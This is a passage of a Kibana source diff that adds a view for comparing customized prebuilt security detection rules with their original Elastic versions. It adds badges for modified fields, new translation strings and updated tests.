    + + )} ); }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/translations.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/translations.tsx index 8501333040612..276a4bad81e87 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/translations.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/translations.tsx @@ -32,10 +32,10 @@ export const UPDATED_BY_AND_WHEN = (updatedBy: ReactNode, updatedAt: ReactNode) /> ); -export const FIELD_UPDATES = i18n.translate( - 'xpack.securitySolution.detectionEngine.baseVersionFlyout.header.fieldUpdates', +export const FIELD_MODIFICATIONS = i18n.translate( + 'xpack.securitySolution.detectionEngine.baseVersionFlyout.header.fieldModifications', { - defaultMessage: 'Field updates', + defaultMessage: 'Field modifications', } ); @@ -88,6 +88,27 @@ export const BASE_VERSION_LABEL = i18n.translate( } ); +export const CURRENT_VERSION_LABEL = i18n.translate( + 'xpack.securitySolution.detectionEngine.baseVersionFlyout.currentVersionLabel', + { + defaultMessage: 'Current rule', + } +); + +export const BASE_VERSION_DESCRIPTION = i18n.translate( + 'xpack.securitySolution.detectionEngine.baseVersionFlyout.baseVersionDescriptionLabel', + { + defaultMessage: 'Shows original Elastic rule asset', + } +); + +export const CURRENT_VERSION_DESCRIPTION = i18n.translate( + 'xpack.securitySolution.detectionEngine.baseVersionFlyout.currentVersionDescriptionLabel', + { + defaultMessage: 'Shows currently installed rule', + } +); + export const NEW_REVISION_DETECTED_WARNING = i18n.translate( 'xpack.securitySolution.detectionEngine.baseVersionFlyout.ruleNewRevisionDetectedWarning', { @@ -102,3 +123,11 @@ export const NEW_REVISION_DETECTED_WARNING_MESSAGE = i18n.translate( 'The installed rule was changed, the rule modifications diff flyout has been updated.', } ); + +export const OUTDATED_DIFF_CALLOUT_MESSAGE = i18n.translate( + 'xpack.securitySolution.detectionEngine.baseVersionFlyout.outdatedDiffCalloutMessage', + { + defaultMessage: + 'Changes have been made to the installed rule, please reload the page to view updated diff.', + } +); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/use_prebuilt_rules_view_base_diff.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/use_prebuilt_rules_view_base_diff.tsx new file mode 100644 index 0000000000000..2fa47adf785cd --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/base_version_diff/use_prebuilt_rules_view_base_diff.tsx @@ -0,0 +1,66 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React, { useCallback, useMemo } from 'react'; +import { useBoolean } from '@kbn/react-hooks'; +import { isCustomizedPrebuiltRule } from '../../../../../../common/api/detection_engine/model/rule_schema/utils'; +import type { RuleResponse } from '../../../../../../common/api/detection_engine'; +import { useFetchPrebuiltRuleBaseVersionQuery } from '../../../api/hooks/prebuilt_rules/use_fetch_prebuilt_rule_base_version_query'; +import { PrebuiltRulesBaseVersionFlyout } from './base_version_flyout'; + +export const PREBUILT_RULE_BASE_VERSION_FLYOUT_ANCHOR = 'baseVersionPrebuiltRulePreview'; + +interface UsePrebuiltRulesViewBaseDiffProps { + rule: RuleResponse | null; +} + +export const usePrebuiltRulesViewBaseDiff = ({ rule }: UsePrebuiltRulesViewBaseDiffProps) => { + const [isFlyoutOpen, { off: closeFlyout, on: openFlyout }] = useBoolean(false); + const [isReverting, { off: setRevertingFalse, on: setRevertingTrue }] = useBoolean(false); + + const enabled = useMemo(() => rule != null && isCustomizedPrebuiltRule(rule), [rule]); + const { data, isLoading, error } = useFetchPrebuiltRuleBaseVersionQuery({ + id: rule?.id, + enabled, + }); + + // Handle when we receive an error when the base_version doesn't exist + const doesBaseVersionExist: boolean = useMemo(() => !error && data != null, [data, error]); + + const openCustomizationsPreviewFlyout = useCallback(() => { + setRevertingFalse(); + openFlyout(); + }, [openFlyout, setRevertingFalse]); + + const openCustomizationsRevertFlyout = useCallback(() => { + setRevertingTrue(); + openFlyout(); + }, [openFlyout, setRevertingTrue]); + + const modifiedFields = useMemo( + () => new Set(Object.keys(data?.diff.fields ?? {})), + [data?.diff.fields] + ); + + return { + baseVersionFlyout: + isFlyoutOpen && !isLoading && data != null && doesBaseVersionExist ? ( + + ) : null, + openCustomizationsPreviewFlyout, + openCustomizationsRevertFlyout, + doesBaseVersionExist, + isLoading, + modifiedFields, + }; +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/customized_prebuilt_rule_badge.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/customized_prebuilt_rule_badge.tsx deleted file mode 100644 index bd1ac6809cdab..0000000000000 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/customized_prebuilt_rule_badge.tsx +++ /dev/null @@ -1,30 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { EuiBadge } from '@elastic/eui'; -import React from 'react'; -import type { RuleResponse } from '../../../../../common/api/detection_engine'; -import { isCustomizedPrebuiltRule } from '../../../../../common/api/detection_engine'; -import * as i18n from './translations'; - -interface CustomizedPrebuiltRuleBadgeProps { - rule: RuleResponse | null; -} - -export const CustomizedPrebuiltRuleBadge: React.FC = ({ - rule, -}) => { - if (rule === null || !isCustomizedPrebuiltRule(rule)) { - return null; - } - - return ( - - {i18n.MODIFIED_PREBUILT_RULE_LABEL} - - ); -}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/diff_components/field_diff.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/diff_components/field_diff.tsx index 7051c7c496e45..3310886ce9d46 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/diff_components/field_diff.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/diff_components/field_diff.tsx @@ -10,7 +10,11 @@ import { camelCase, startCase } from 'lodash'; import React from 'react'; import { SplitAccordion } from '../../../../../common/components/split_accordion'; import { DiffView } from '../json_diff/diff_view'; -import type { FormattedFieldDiff, FieldDiff } from '../../../model/rule_details/rule_field_diff'; +import { + type FormattedFieldDiff, + type FieldDiff, + DiffLayout, +} from '../../../model/rule_details/rule_field_diff'; import { fieldToDisplayNameMap } from './translations'; const SubFieldComponent = ({ @@ -19,9 +23,11 @@ const SubFieldComponent = ({ fieldName, shouldShowSeparator, shouldShowSubtitles, + diffLayout, }: FieldDiff & { shouldShowSeparator: boolean; shouldShowSubtitles: boolean; + diffLayout: DiffLayout; }) => ( @@ -30,7 +36,11 @@ const SubFieldComponent = ({

    {fieldToDisplayNameMap[fieldName] ?? startCase(camelCase(fieldName))}

    ) : null} - + {diffLayout === DiffLayout.RightToLeft ? ( + + ) : ( + + )} {shouldShowSeparator ? : null}
    @@ -39,11 +49,13 @@ const SubFieldComponent = ({ export interface FieldDiffComponentProps { ruleDiffs: FormattedFieldDiff; fieldsGroupName: string; + diffLayout?: DiffLayout; } export const FieldGroupDiffComponent = ({ ruleDiffs, fieldsGroupName, + diffLayout = DiffLayout.LeftToRight, }: FieldDiffComponentProps) => { const { fieldDiffs, shouldShowSubtitles } = ruleDiffs; @@ -68,6 +80,7 @@ export const FieldGroupDiffComponent = ({ currentVersion={currentVersion} targetVersion={targetVersion} fieldName={specificFieldName} + diffLayout={diffLayout} /> ); })} diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/diff_components/header_bar.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/diff_components/header_bar.tsx index c56dbdecd0712..e797be2e9835c 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/diff_components/header_bar.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/diff_components/header_bar.tsx @@ -15,13 +15,20 @@ import { } from '@elastic/eui'; import React from 'react'; import { css } from '@emotion/css'; -import * as i18n from '../json_diff/translations'; -interface RuleDiffHeaderBarProps { - diffRightSideTitle?: string; +export interface RuleDiffHeaderBarProps { + leftDiffSideLabel: string; + rightDiffSideLabel: string; + leftDiffSideDescription: string; + rightDiffSideDescription: string; } -export const RuleDiffHeaderBar = ({ diffRightSideTitle }: RuleDiffHeaderBarProps) => { +export const RuleDiffHeaderBar = ({ + leftDiffSideLabel, + rightDiffSideLabel, + leftDiffSideDescription, + rightDiffSideDescription, +}: RuleDiffHeaderBarProps) => { const { euiTheme } = useEuiTheme(); return (
    -
    {i18n.CURRENT_RULE_VERSION}
    +
    {leftDiffSideLabel}
    - + -
    {diffRightSideTitle ?? i18n.ELASTIC_UPDATE_VERSION}
    +
    {rightDiffSideLabel}
    diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/diff_components/rule_diff_section.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/diff_components/rule_diff_section.tsx index a75a8db426f06..c790431f0d6fd 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/diff_components/rule_diff_section.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/diff_components/rule_diff_section.tsx @@ -7,16 +7,22 @@ import { EuiAccordion, EuiSpacer, EuiTitle } from '@elastic/eui'; import React from 'react'; import { css } from '@emotion/css'; -import type { FieldsGroupDiff } from '../../../model/rule_details/rule_field_diff'; +import type { DiffLayout, FieldsGroupDiff } from '../../../model/rule_details/rule_field_diff'; import { FieldGroupDiffComponent } from './field_diff'; interface RuleDiffSectionProps { title: string; fieldGroups: FieldsGroupDiff[]; dataTestSubj?: string; + diffLayout?: DiffLayout; } -export const RuleDiffSection = ({ title, fieldGroups, dataTestSubj }: RuleDiffSectionProps) => ( +export const RuleDiffSection = ({ + title, + fieldGroups, + diffLayout, + dataTestSubj, +}: RuleDiffSectionProps) => ( <> - + ); })} diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/get_humanized_field_name.ts b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/get_humanized_field_name.ts new file mode 100644 index 0000000000000..dc78912a01e11 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/get_humanized_field_name.ts @@ -0,0 +1,73 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import * as i18n from './translations'; + +/** + * This helper function returns a humanized name for non-grouped diffable fields + */ +// eslint-disable-next-line complexity +export const getHumanizedFieldName = (fieldName: string) => { + switch (fieldName) { + // About section fields + case 'building_block': + return i18n.BUILDING_BLOCK_FIELD_LABEL; + case 'severity': + return i18n.SEVERITY_FIELD_LABEL; + case 'severity_mapping': + return i18n.SEVERITY_MAPPING_FIELD_LABEL; + case 'risk_score': + return i18n.RISK_SCORE_FIELD_LABEL; + case 'risk_score_mapping': + return i18n.RISK_SCORE_MAPPING_FIELD_LABEL; + case 'references': + return i18n.REFERENCES_FIELD_LABEL; + case 'false_positives': + return i18n.FALSE_POSITIVES_FIELD_LABEL; + case 'investigation_fields': + return i18n.INVESTIGATION_FIELDS_FIELD_LABEL; + case 'rule_name_override': + return i18n.RULE_NAME_OVERRIDE_FIELD_LABEL; + case 'threat': + return i18n.THREAT_FIELD_LABEL; + case 'threat_indicator_path': + return i18n.THREAT_INDICATOR_PATH_LABEL; + case 'timestamp_override': + return i18n.TIMESTAMP_OVERRIDE_FIELD_LABEL; + case 'max_signals': + return i18n.MAX_SIGNALS_FIELD_LABEL; + case 'tags': + return i18n.TAGS_FIELD_LABEL; + + // Definition section fields + case 'type': + return i18n.RULE_TYPE_FIELD_LABEL; + case 'anomaly_threshold': + return i18n.ANOMALY_THRESHOLD_FIELD_LABEL; + case 'machine_learning_job_id': + return i18n.MACHINE_LEARNING_JOB_ID_FIELD_LABEL; + case 'related_integrations': + return i18n.RELATED_INTEGRATIONS_FIELD_LABEL; + case 'required_fields': + return i18n.REQUIRED_FIELDS_FIELD_LABEL; + case 'timeline_template': + return i18n.TIMELINE_TITLE_FIELD_LABEL; + case 'threshold': + return i18n.THRESHOLD_FIELD_LABEL; + case 'threat_index': + return i18n.THREAT_INDEX_FIELD_LABEL; + case 'threat_mapping': + return i18n.THREAT_MAPPING_FIELD_LABEL; + case 'new_terms_fields': + return i18n.NEW_TERMS_FIELDS_FIELD_LABEL; + case 'history_window_start': + return i18n.HISTORY_WINDOW_SIZE_FIELD_LABEL; + + default: + return ''; + } +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/json_diff/json_diff.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/json_diff/json_diff.test.tsx index 1c8d7a65fa9d2..0fbf2fc659384 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/json_diff/json_diff.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/json_diff/json_diff.test.tsx @@ -28,6 +28,25 @@ function findChildByTextContent(parent: Element, textContent: string): HTMLEleme ) as HTMLElement; } +const renderRuleDiffComponent = ({ + oldRule, + newRule, +}: { + oldRule: RuleResponse; + newRule: RuleResponse; +}) => { + return render( + + ); +}; + describe('Rule upgrade workflow: viewing rule changes in JSON diff view', () => { it.each(['light', 'dark'] as const)( 'User can see precisely how property values would change after upgrade - %s theme', @@ -56,9 +75,19 @@ describe('Rule upgrade workflow: viewing rule changes in JSON diff view', () => {children} ); - const { container } = render(, { - wrapper: ThemeWrapper, - }); + const { container } = render( + , + { + wrapper: ThemeWrapper, + } + ); /* LINE UPDATE */ const updatedLine = findChildByTextContent(container, '- "version": 1+ "version": 2'); @@ -140,7 +169,7 @@ describe('Rule upgrade workflow: viewing rule changes in JSON diff view', () => }; /* Case: rule update doesn't have "actions" or "exception_list" properties */ - const { rerender } = render(); + const { rerender } = renderRuleDiffComponent({ oldRule, newRule }); expect(screen.queryAllByText('"actions":', { exact: false })).toHaveLength(0); /* Case: rule update has "actions" and "exception_list" equal to empty arrays */ @@ -148,6 +177,10 @@ describe('Rule upgrade workflow: viewing rule changes in JSON diff view', () => ); expect(screen.queryAllByText('"actions":', { exact: false })).toHaveLength(0); @@ -161,6 +194,10 @@ describe('Rule upgrade workflow: viewing rule changes in JSON diff view', () => actions: [{ ...testAction, id: 'my-other-action' }], exceptions_list: [testExceptionListItem], }} + leftDiffSideLabel={'mock left label'} + rightDiffSideLabel={'mock right label'} + leftDiffSideDescription={'mock left description'} + rightDiffSideDescription={'mock right description'} /> ); expect(screen.queryAllByText('"actions":', { exact: false })).toHaveLength(0); @@ -192,7 +229,7 @@ describe('Rule upgrade workflow: viewing rule changes in JSON diff view', () => rule_source: { type: 'external', is_customized: true }, }; - render(); + renderRuleDiffComponent({ oldRule, newRule }); expect(screen.queryAllByText(property, { exact: false })).toHaveLength(0); } ); @@ -209,7 +246,7 @@ describe('Rule upgrade workflow: viewing rule changes in JSON diff view', () => version: 2, }; - render(); + renderRuleDiffComponent({ oldRule, newRule }); expect(screen.queryAllByText('"author":', { exact: false })).toHaveLength(0); expect(screen.queryAllByText('Expand 44 unchanged lines')).toHaveLength(1); @@ -250,7 +287,7 @@ describe('Rule upgrade workflow: viewing rule changes in JSON diff view', () => return isArraySortedAlphabetically(uniquePropertyNames); } - render(); + renderRuleDiffComponent({ oldRule, newRule }); const arePropertiesSortedInConciseView = checkRenderedPropertyNamesAreSorted(); expect(arePropertiesSortedInConciseView).toBe(true); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/json_diff/translations.ts b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/json_diff/translations.ts index 45aa87f1964f2..ef7cdfbe01e1d 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/json_diff/translations.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/json_diff/translations.ts @@ -16,31 +16,3 @@ export const EXPAND_UNCHANGED_LINES = (linesCount: number) => 'Expand {linesCount} unchanged {linesCount, plural, one {line} other {lines}}', } ); - -export const CURRENT_RULE_VERSION = i18n.translate( - 'xpack.securitySolution.detectionEngine.rules.upgradeRules.currentVersionLabel', - { - defaultMessage: 'Current rule', - } -); - -export const CURRENT_VERSION_DESCRIPTION = i18n.translate( - 'xpack.securitySolution.detectionEngine.rules.upgradeRules.currentVersionDescriptionLabel', - { - defaultMessage: 'Shows currently installed rule', - } -); - -export const ELASTIC_UPDATE_VERSION = i18n.translate( - 'xpack.securitySolution.detectionEngine.rules.upgradeRules.elasticUpdateVersionLabel', - { - defaultMessage: 'Elastic update', - } -); - -export const UPDATED_VERSION_DESCRIPTION = i18n.translate( - 'xpack.securitySolution.detectionEngine.rules.upgradeRules.updatedVersionDescriptionLabel', - { - defaultMessage: 'Shows rule that will be installed', - } -); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/modified_field_badge.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/modified_field_badge.tsx new file mode 100644 index 0000000000000..a63a96c32d2a5 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/modified_field_badge.tsx @@ -0,0 +1,32 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React from 'react'; +import * as i18n from './translations'; +import { usePrebuiltRuleBaseVersionContext } from './base_version_diff/base_version_context'; +import { PrebuiltRuleDiffBadge } from './prebuilt_rule_diff_badge'; + +interface ModifiedFieldBadgeProps { + fieldName: string; +} + +export const ModifiedFieldBadge: React.FC = ({ fieldName }) => { + const { + state: { doesBaseVersionExist, modifiedFields }, + } = usePrebuiltRuleBaseVersionContext(); + + if (!doesBaseVersionExist || !modifiedFields.has(fieldName)) { + return null; + } + + return ( + + ); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/modified_rule_badge.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/modified_rule_badge.tsx new file mode 100644 index 0000000000000..e60dccae06a2a --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/modified_rule_badge.tsx @@ -0,0 +1,47 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { EuiBadge, EuiToolTip } from '@elastic/eui'; +import React from 'react'; +import type { RuleResponse } from '../../../../../common/api/detection_engine'; +import { isCustomizedPrebuiltRule } from '../../../../../common/api/detection_engine'; +import * as i18n from './translations'; +import { usePrebuiltRuleBaseVersionContext } from './base_version_diff/base_version_context'; +import { PrebuiltRuleDiffBadge } from './prebuilt_rule_diff_badge'; + +interface ModifiedRuleBadgeProps { + rule: RuleResponse | null; +} + +export const ModifiedRuleBadge: React.FC = ({ rule }) => { + const { + state: { doesBaseVersionExist }, + } = usePrebuiltRuleBaseVersionContext(); + + if (rule === null || !isCustomizedPrebuiltRule(rule)) { + return null; + } + + return ( + + {doesBaseVersionExist ? ( + + ) : ( + + {i18n.MODIFIED_PREBUILT_RULE_LABEL} + + )} + + ); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/per_field_rule_diff_tab.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/per_field_rule_diff_tab.test.tsx index 701ab18e9a0ab..34139f4af1de3 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/per_field_rule_diff_tab.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/per_field_rule_diff_tab.test.tsx @@ -43,7 +43,13 @@ const ruleFieldsDiffMock: PartialRuleDiff = { const renderPerFieldRuleDiffTab = (ruleDiff: PartialRuleDiff) => { return render( - + ); }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/per_field_rule_diff_tab.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/per_field_rule_diff_tab.tsx index 32128cad6b846..487bf0c53ccd2 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/per_field_rule_diff_tab.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/per_field_rule_diff_tab.tsx @@ -9,21 +9,26 @@ import React, { useMemo } from 'react'; import type { PartialRuleDiff, RuleFieldsDiff } from '../../../../../common/api/detection_engine'; import { getFormattedFieldDiffGroups } from './per_field_diff/get_formatted_field_diff'; import { UPGRADE_FIELD_ORDER } from './constants'; +import type { RuleDiffHeaderBarProps } from './diff_components'; import { RuleDiffHeaderBar, RuleDiffSection } from './diff_components'; import { filterUnsupportedDiffOutcomes, getSectionedFieldDiffs } from './helpers'; -import type { FieldsGroupDiff } from '../../model/rule_details/rule_field_diff'; +import type { FieldsGroupDiff, DiffLayout } from '../../model/rule_details/rule_field_diff'; import * as i18n from './translations'; -interface PerFieldRuleDiffTabProps { +interface PerFieldRuleDiffTabProps extends RuleDiffHeaderBarProps { ruleDiff: PartialRuleDiff; header?: React.ReactNode; - diffRightSideTitle?: string; + diffLayout?: DiffLayout; } export const PerFieldRuleDiffTab = ({ ruleDiff, header, - diffRightSideTitle, + leftDiffSideLabel, + rightDiffSideLabel, + leftDiffSideDescription, + rightDiffSideDescription, + diffLayout, }: PerFieldRuleDiffTabProps) => { const fieldsToRender = useMemo(() => { const fields: FieldsGroupDiff[] = []; @@ -49,12 +54,18 @@ export const PerFieldRuleDiffTab = ({ return ( <> - + {header} {aboutFields.length !== 0 && ( )} @@ -62,6 +73,7 @@ export const PerFieldRuleDiffTab = ({ )} @@ -69,6 +81,7 @@ export const PerFieldRuleDiffTab = ({ )} @@ -76,6 +89,7 @@ export const PerFieldRuleDiffTab = ({ )} diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/prebuilt_rule_diff_badge.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/prebuilt_rule_diff_badge.tsx new file mode 100644 index 0000000000000..727e2ca0b5c00 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/prebuilt_rule_diff_badge.tsx @@ -0,0 +1,36 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { EuiBadge } from '@elastic/eui'; +import React from 'react'; +import { usePrebuiltRuleBaseVersionContext } from './base_version_diff/base_version_context'; + +interface PrebuiltRuleDiffBadgeProps { + label: string; + dataTestSubj?: string; +} + +export const PrebuiltRuleDiffBadge = ({ label, dataTestSubj }: PrebuiltRuleDiffBadgeProps) => { + const { + actions: { openCustomizationsPreviewFlyout }, + } = usePrebuiltRuleBaseVersionContext(); + + return ( + + {label} + + ); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_about_section.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_about_section.tsx index 4dcc15677d24c..0207ea249176f 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_about_section.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_about_section.tsx @@ -38,6 +38,7 @@ import { ThreatEuiFlexGroup } from '../../../rule_creation_ui/components/descrip import { BadgeList } from './badge_list'; import { DEFAULT_DESCRIPTION_LIST_COLUMN_WIDTHS } from './constants'; import * as i18n from './translations'; +import { RuleFieldName } from './rule_field_name'; const OverrideColumn = styled(EuiFlexItem)` width: 125px; @@ -269,12 +270,20 @@ export const Tags = ({ tags }: TagsProps) => ( ); +interface PrepareAboutSectionListItemsProps { + rule: Partial; + hideName?: boolean; + hideDescription?: boolean; + showModifiedFields?: boolean; +} + // eslint-disable-next-line complexity -const prepareAboutSectionListItems = ( - rule: Partial, - hideName?: boolean, - hideDescription?: boolean -): EuiDescriptionListProps['listItems'] => { +const prepareAboutSectionListItems = ({ + rule, + hideName, + hideDescription, + showModifiedFields = false, +}: PrepareAboutSectionListItemsProps): EuiDescriptionListProps['listItems'] => { const aboutSectionListItems: EuiDescriptionListProps['listItems'] = []; if (!hideName && rule.name) { @@ -301,7 +310,9 @@ const prepareAboutSectionListItems = ( if (rule.building_block_type) { aboutSectionListItems.push({ title: ( - {i18n.BUILDING_BLOCK_FIELD_LABEL} + + + ), description: , }); @@ -309,7 +320,11 @@ const prepareAboutSectionListItems = ( if (rule.severity) { aboutSectionListItems.push({ - title: {i18n.SEVERITY_FIELD_LABEL}, + title: ( + + + + ), description: , }); } @@ -323,7 +338,10 @@ const prepareAboutSectionListItems = ( title: index === 0 ? ( - {i18n.SEVERITY_MAPPING_FIELD_LABEL} + ) : ( '' @@ -336,7 +354,11 @@ const prepareAboutSectionListItems = ( if (rule.risk_score) { aboutSectionListItems.push({ - title: {i18n.RISK_SCORE_FIELD_LABEL}, + title: ( + + + + ), description: , }); } @@ -350,7 +372,10 @@ const prepareAboutSectionListItems = ( title: index === 0 ? ( - {i18n.RISK_SCORE_MAPPING_FIELD_LABEL} + ) : ( '' @@ -365,7 +390,11 @@ const prepareAboutSectionListItems = ( if (rule.references && rule.references.length > 0) { aboutSectionListItems.push({ - title: {i18n.REFERENCES_FIELD_LABEL}, + title: ( + + + + ), description: , }); } @@ -373,7 +402,9 @@ const prepareAboutSectionListItems = ( if (rule.false_positives && rule.false_positives.length > 0) { aboutSectionListItems.push({ title: ( - {i18n.FALSE_POSITIVES_FIELD_LABEL} + + + ), description: , }); @@ -383,7 +414,7 @@ const prepareAboutSectionListItems = ( aboutSectionListItems.push({ title: ( - {i18n.INVESTIGATION_FIELDS_FIELD_LABEL} + ), description: ( @@ -403,7 +434,7 @@ const prepareAboutSectionListItems = ( aboutSectionListItems.push({ title: ( - {i18n.RULE_NAME_OVERRIDE_FIELD_LABEL} + ), description: , @@ -412,14 +443,25 @@ const prepareAboutSectionListItems = ( if (rule.threat && rule.threat.length > 0) { aboutSectionListItems.push({ - title: {i18n.THREAT_FIELD_LABEL}, + title: ( + + + + ), description: , }); } if ('threat_indicator_path' in rule && rule.threat_indicator_path) { aboutSectionListItems.push({ - title: i18n.THREAT_INDICATOR_PATH_LABEL, + title: ( + + + + ), description: , }); } @@ -428,7 +470,7 @@ const prepareAboutSectionListItems = ( aboutSectionListItems.push({ title: ( - {i18n.TIMESTAMP_OVERRIDE_FIELD_LABEL} + ), description: , @@ -437,14 +479,22 @@ const prepareAboutSectionListItems = ( if (rule.max_signals) { aboutSectionListItems.push({ - title: {i18n.MAX_SIGNALS_FIELD_LABEL}, + title: ( + + + + ), description: , }); } if (rule.tags && rule.tags.length > 0) { aboutSectionListItems.push({ - title: {i18n.TAGS_FIELD_LABEL}, + title: ( + + + + ), description: , }); } @@ -457,6 +507,7 @@ export interface RuleAboutSectionProps extends React.ComponentProps { - const aboutSectionListItems = prepareAboutSectionListItems(rule, hideName, hideDescription); + const aboutSectionListItems = prepareAboutSectionListItems({ + rule, + hideName, + hideDescription, + showModifiedFields, + }); return (
    diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_definition_section.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_definition_section.tsx index aadd15a99ef2e..2d1071efe2f14 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_definition_section.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_definition_section.tsx @@ -68,6 +68,7 @@ import { } from '../../../rule_creation/components/eql_query_edit/translations'; import { useDataView } from './three_way_diff/final_edit/fields/hooks/use_data_view'; import { matchFiltersToIndexPattern } from '../../../../common/components/query_bar/match_filters_to_index_pattern'; +import { RuleFieldName } from './rule_field_name'; interface SavedQueryNameProps { savedQueryName: string; @@ -484,18 +485,35 @@ export const HistoryWindowSize = ({ historyWindowStart }: HistoryWindowSizeProps ); }; +interface PrepareDefinitionSectionListItemsProps { + rule: Partial; + isInteractive: boolean; + savedQuery: SavedQuery | undefined; + isSuppressionEnabled: boolean; + showModifiedFields?: boolean; +} + // eslint-disable-next-line complexity -const prepareDefinitionSectionListItems = ( - rule: Partial, - isInteractive: boolean, - savedQuery: SavedQuery | undefined, - isSuppressionEnabled: boolean -): 